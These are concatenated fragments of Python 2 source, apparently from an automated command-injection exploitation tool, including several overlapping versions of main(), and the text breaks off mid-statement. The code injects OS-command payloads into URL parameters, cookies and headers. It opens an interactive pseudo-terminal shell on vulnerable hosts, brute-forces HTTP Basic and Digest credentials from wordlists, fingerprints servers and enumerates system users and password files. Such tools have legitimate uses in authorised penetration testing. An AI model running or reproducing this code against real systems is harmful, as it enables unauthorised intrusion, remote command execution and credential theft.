num_of_chars in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) # Check if defined "--verbose" option. if menu.options.verbose: if separator == ";" or separator == "&&" or separator == "||": sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) if not menu.options.verbose: percent = ((num_of_chars*100)/total) if how_long >= delay: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL elif percent == 100: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(percent)+"%" else: percent = str(percent)+"%" sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]") sys.stdout.flush() except KeyboardInterrupt: raise except: if not menu.options.verbose: percent = ((num_of_chars*100)/total) if percent == 100: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]") sys.stdout.flush() break else: percent = str(percent)+"%" raise else: percent = str(percent)+"%" break # Yaw, got shellz! # Do some magic tricks! if how_long >= delay: found = True no_result = False if settings.COOKIE_INJECTION == True: http_request_method = "cookie" found_vuln_parameter = vuln_parameter else: if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload) logs.upload_payload(filename, counter, payload) counter = counter + 1 # Print the findings to terminal. print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + "" print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Check for any enumeration options. tfb_enumeration.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell) # Check for any enumeration options. tfb_file_access.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell) # Pseudo-Terminal shell while True: gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower() if gotshell in settings.CHOISE_YES: print "" print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)" while True: try: cmd = raw_input("Shell > ") if cmd == "q": sys.exit(0) else: # The main command injection exploitation. # Cookie Injection check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell) if menu.options.verbose: print "" if output != "" and check_how_long != 0 : print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n" else: print "" except KeyboardInterrupt: print "" sys.exit(0) elif gotshell in settings.CHOISE_NO: break if menu.options.verbose: sys.stdout.write("\r(*) Continue testing the "+ technique +"... ") sys.stdout.flush() else: if gotshell == "": gotshell = "enter" print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL pass break if no_result == True: if menu.options.verbose == False: print "" return False else: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if alter_shell: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) if not menu.options.base64: if separator == " ": payload = re.sub(" ", "%20", payload) else: payload = re.sub(" ", whitespace, payload) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = urllib.unquote(payload) payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + settings.PAYLOAD_SIGN + payload + Style.RESET_ALL) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) data = json.loads(data, strict=False) request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = get_request_response(request) return response
def http_auth_cracker(url, realm): # Define the HTTP authentication type. authentication_type = menu.options.auth_type # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() i = 1 found = False total = len(usernames) * len(passwords) for username in usernames: for password in passwords: float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) # Check if verbose mode on if settings.VERBOSITY_LEVEL >= 1: payload = "" + username + ":" + password + "" if settings.VERBOSITY_LEVEL > 1: print(settings.print_checking_msg(payload)) else: sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10) sys.stdout.flush() try: # Basic authentication if authentication_type.lower() == "basic": request = _urllib.request.Request(url) base64string = base64.encodestring(username + ":" + password)[:-1] request.add_header("Authorization", "Basic " + base64string) headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: tor.use_tor(request) result = _urllib.request.urlopen(request) # Digest authentication elif authentication_type.lower() == "digest": authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) request = _urllib.request.Request(url) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: tor.use_tor(request) result = _urllib.request.urlopen(request) # Store valid results to session admin_panel = url session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : raise except: pass if found: if not settings.VERBOSITY_LEVEL >= 1: float_percent = settings.SUCCESS_MSG else: if str(float_percent) == "100.0%": if not settings.VERBOSITY_LEVEL >= 1: float_percent = settings.FAIL_STATUS else: i = i + 1 float_percent = ".. (" + float_percent + ")" if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Checking for a valid pair of credentials." info_msg += float_percent sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if found: valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL > 1: print("") success_msg = "Identified a valid pair of credentials '" success_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_success_msg(success_msg)) return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." print("\n" + settings.print_critical_msg(err_msg)) return False # eof
def main(): try: # Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) # Checkall the banner menu.banner() # Check python version number. version.python_version() # Check if defined "--dependencies" option. # For checking (non-core) third party dependenices. if menu.options.noncore_dependencies: checks.third_party_dependencies() sys.exit(0) # Check if defined "--update" option. if menu.options.update: update.updater() sys.exit(0) # Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) # Define the level of verbosity. if menu.options.verbose > 1: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 1]." print settings.print_critical_msg(err_msg) sys.exit(0) else: settings.VERBOSITY_LEVEL = menu.options.verbose # Check if defined "--delay" option. if menu.options.delay: if menu.options.delay > "0": settings.DELAY = menu.options.delay # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print settings.print_critical_msg(err_msg) sys.exit(0) # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.logfile: parser.logfile_parser() # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" option. if menu.options.url: url = menu.options.url # Check if http / https url = checks.check_http_s(url) if menu.options.output_dir: output_dir = menu.options.output_dir else: output_dir = settings.OUTPUT_DIR # One directory up, if Windows or if the script is being run under "/src". if settings.IS_WINDOWS or "/src" in os.path.dirname( os.path.abspath(__file__)): os.chdir("..") output_dir = os.path.dirname(output_dir) try: os.stat(output_dir) except: os.mkdir(output_dir) # The logs filename construction. filename = logs.create_log_file(url, output_dir) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except: raise html_data = content = response.read() print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: question_msg = "Do you want to enable an HTTP server? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace( "\n", "").lower() if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: if enable_HTTP_server == "": enable_HTTP_server = "enter" err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err: print settings.print_critical_msg(err) sys.exit(0) except urllib2.URLError, err: print settings.print_critical_msg(err) sys.exit(0) # Used a valid pair of valid credentials if menu.options.auth_cred: success_msg = Style.BRIGHT + "Identified a valid pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL success_msg += Style.BRIGHT + "'." + Style.RESET_ALL print settings.print_success_msg(success_msg) try: if response.info()['server']: server_banner = response.info()['server'] found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS for i in range(0, len(settings.SERVER_OS_BANNERS)): if settings.SERVER_OS_BANNERS[i].lower( ) in server_banner.lower(): found_os_server = True settings.TARGET_OS = settings.SERVER_OS_BANNERS[ i].lower() if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft": identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[: 3].lower( ) if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print settings.print_critical_msg( err_msg) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0, len(settings.SERVER_BANNERS)): if settings.SERVER_BANNERS[i].lower( ) in server_banner.lower(): if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg( success_msg) settings.SERVER_BANNER = server_banner found_server_banner = True # Set up default root paths if settings.SERVER_BANNERS[i].lower( ) == "apache": if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = "\\htdocs" else: settings.SRV_ROOT_DIR = "/var/www" if settings.SERVER_BANNERS[i].lower( ) == "nginx": settings.SRV_ROOT_DIR = "/usr/share/nginx" if settings.SERVER_BANNERS[i].lower( ) == "microsoft-iis": settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot" break if not found_server_banner: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify server." print settings.print_warning_msg(warn_msg) # Load tamper scripts if menu.options.tamper: checks.tamper_scripts() # Store the Server's root dir settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Check for wrong flags. if settings.TARGET_OS == "win": if menu.options.is_root: warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as windows." print settings.print_warning_msg(warn_msg) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print settings.print_warning_msg(warn_msg) if menu.options.file_upload: warn_msg = "The '--file-upload' option, is not yet available for windows targets. " warn_msg += "Instead, use the '--file-write' option." print settings.print_warning_msg(warn_msg) sys.exit(0) else: if menu.options.is_admin: warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as unix-like. " print settings.print_warning_msg(warn_msg) if found_os_server == False and \ not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: warn_msg = "Heuristics have failed to identify server's operating system." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " sys.stdout.write( settings.print_question_msg( question_msg)) got_os = sys.stdin.readline().replace( "\n", "").lower() if got_os.lower() in settings.CHOICE_OS: if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: if got_os == "": got_os = "enter" err_msg = "'" + got_os + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if not menu.options.os: if found_server_banner == False: warn_msg = "The server which was identified as " warn_msg += server_banner + " seems unknown." print settings.print_warning_msg(warn_msg) else: found_os_server = checks.user_defined_os() except KeyError: pass # Charset detection. requests.charset_detection(response)
def main(): try: #Call the banner menu.banner() # Check python version number. version.python_version() #Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) #Check if defined "--update" option. if menu.options.update: update.updater() sys.exit(0) #Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) if menu.options.url: print "(*) Initializing, please wait... " url = menu.options.url try: request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) #print request.headers response = urllib2.urlopen(request) content = response.read() except urllib2.HTTPError, e: if e.getcode() == 500: content = e.read() sys.exit(0) elif e.getcode() == 401: print colors.BGRED + "(x) Error: Authorization required!" + colors.RESET + "\n" sys.exit(0) elif e.getcode() == 403: print colors.BGRED + "(x) Error: You don't have permission to access this page." + colors.RESET + "\n" sys.exit(0) elif e.getcode() == 404: print colors.BGRED + "(x) Error: The host seems to be down!" + colors.RESET + "\n" sys.exit(0) else: raise except urllib2.URLError, e: print colors.BGRED + "(x) Error: The host seems to be down!" + colors.RESET + "\n" sys.exit(0)
def main(): try: # Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) # Checkall the banner menu.banner() # Check python version number. version.python_version() # Check if defined "--dependencies" option. # For checking (non-core) third party dependenices. if menu.options.noncore_dependencies: checks.third_party_dependencies() sys.exit(0) # Check if defined "--update" option. if menu.options.update: update.updater() # Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 4]." print settings.print_critical_msg(err_msg) sys.exit(0) else: settings.VERBOSITY_LEVEL = menu.options.verbose # Check if defined "--delay" option. if menu.options.delay > "0": settings.DELAY = menu.options.delay # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print settings.print_critical_msg(err_msg) sys.exit(0) # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.logfile: parser.logfile_parser() # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" option. if menu.options.url: url = menu.options.url # Check if http / https url = checks.check_http_s(url) # Load the crawler if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth url = crawler.crawler(url) if menu.options.output_dir: output_dir = menu.options.output_dir else: output_dir = settings.OUTPUT_DIR # One directory up, if Windows or if the script is being run under "/src". if settings.IS_WINDOWS or "/src" in os.path.dirname( os.path.abspath(__file__)): os.chdir("..") output_dir = os.path.dirname(output_dir) try: os.stat(output_dir) except: os.mkdir(output_dir) # The logs filename construction. filename = logs.create_log_file(url, output_dir) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) #headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() if menu.options.flush_session: session_handler.flush(url) info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print "" headers.check_http_traffic(request) try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.HTTPError, e: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = str(e).replace(": ", " (") + ")." print settings.print_critical_msg(err_msg) raise SystemExit html_data = content = response.read() if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: question_msg = "Do you want to enable an HTTP server? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace( "\n", "").lower() if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg(err_msg) sys.exit(0)
def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename): # Execute shell commands on vulnerable host. if alter_shell: payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) else: payload = eb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) if menu.options.base64: payload = urllib.unquote(payload) payload = base64.b64encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if 